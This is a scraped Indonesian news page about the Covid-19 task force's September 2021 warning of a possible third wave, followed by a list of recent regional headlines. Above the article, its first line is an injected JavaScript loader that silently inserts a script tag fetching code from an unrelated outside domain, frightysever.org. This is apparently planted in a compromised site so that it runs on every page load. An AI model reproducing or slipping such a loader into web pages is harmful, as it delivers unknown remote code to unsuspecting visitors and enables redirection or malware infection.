(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Satgas Covid-19 Ungkap Prediksi Gelombang Ketiga Terjadi di Indonesia, Kapan?


KANALKALIMANTAN.COM –  Kasus Covid-19 di Indonesia saat ini memang tengah turun. Satgas Penanganan Covid-19 bahkan mencatat, dalam sepekan terakhir kasus aktif secara nasional mencapai angka terendah selama pandemi, yakni hanya 1 persen dari total kasus.

Meski demikian, Satgas Penanganan Covid-19 mengingatkan agar masyarakat jangan terlena dan tetap disiplin menjalankan protokol kesehatan. Sebab ancaman gelombang ketiga pandemi masih mungkin terjadi.

Juru bicara Satgas Penanganan Covid-19 prof. Wiku Adisasmito mengatakan, beberapa negara di dunia saat ini tengah mengalami gelombang ketiga pandemi. Berkaca dari gelombang kedua beberapa bulan lalu, menurut Wiku, Indonesia bisa saja agak terlambat mengalami lonjakan kasus dibandingkan kondisi global.

“Melihat pola lanjutkan kasus yang terjadi di Indonesia dalam selang waktu 3 bulan dari lonjakan negara lain seperti di India, Malaysia, Jepang. Maka kita harus waspada dan tetap disiplin menjalankan protokol kesehatan agar kita tidak menyesal,” kata Wiku dalam konferensi pers daring, Selasa (21/9/2021).

 

 

Baca juga: Gara-gara Layanan Telkomsel dan Indihome Terganggu, BKN Jadwal Ulang SKD CPNS

Menurutnya, dalam beberapa bulan ke depan kemungkinan lonjakan kasus positif di Indonesia bisa saja terjadi. Umumnya peluang lonjakan bisa terjadi ketika ada libur panjang juga pelaksanaan kegiatan besar masyarakat di dalam negeri.

Wiku mengatakan, walaupun gelombang baru juga terjadi di negara lain, namun yang perlu diperhatikan sebenarnya ancaman lonjakan kasus di dalam negeri akibat faktor aktivitas masyarakat lokal.

“Misalnya tradisi berkumpul dan bepergian saat hari raya yang seringkali menyebabkan masyarakat abai terhadap protokol kesehatan,” ujarnya.

“Perlu diingat bahwa potensi kenaikan kasus dapat dihindari apabila kita tidak mengendorkan pelaksanaan kebijakan berlapis. Seperti akselerasi vaksinasi, pengendalian mobilitas dalam dan luar negeri, pengendalian aktivitas masyarakat dan menggalakkan upaya 3T dan 3M,” pungkas Wiku.(Suara.com)

Editor: suara


Risa

Recent Posts

Dialog Pekerja Pengusaha di Balai Kota, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru menggelar dialog serikat pengusaha dan serikat pekerja peringatan Hari… Read More

2 jam ago

DPMD HSU Apresiasi Kader Desa Pemenang Lomba Posyandu 2024

KANALKALIMANTAN.COM, AMUNTAI - Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) memberikan… Read More

3 jam ago

Pemondokan Kafilah HSU Dikunjungi Sekda Tapin

KANALKALIMANTAN.COM, RANTAU - Sambutan hangat ditunjukkan Kafilah Hulu Sungai Utara (HSU) saat menerima kedatangan Sekertaris… Read More

3 jam ago

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

4 jam ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

4 jam ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

This website uses cookies.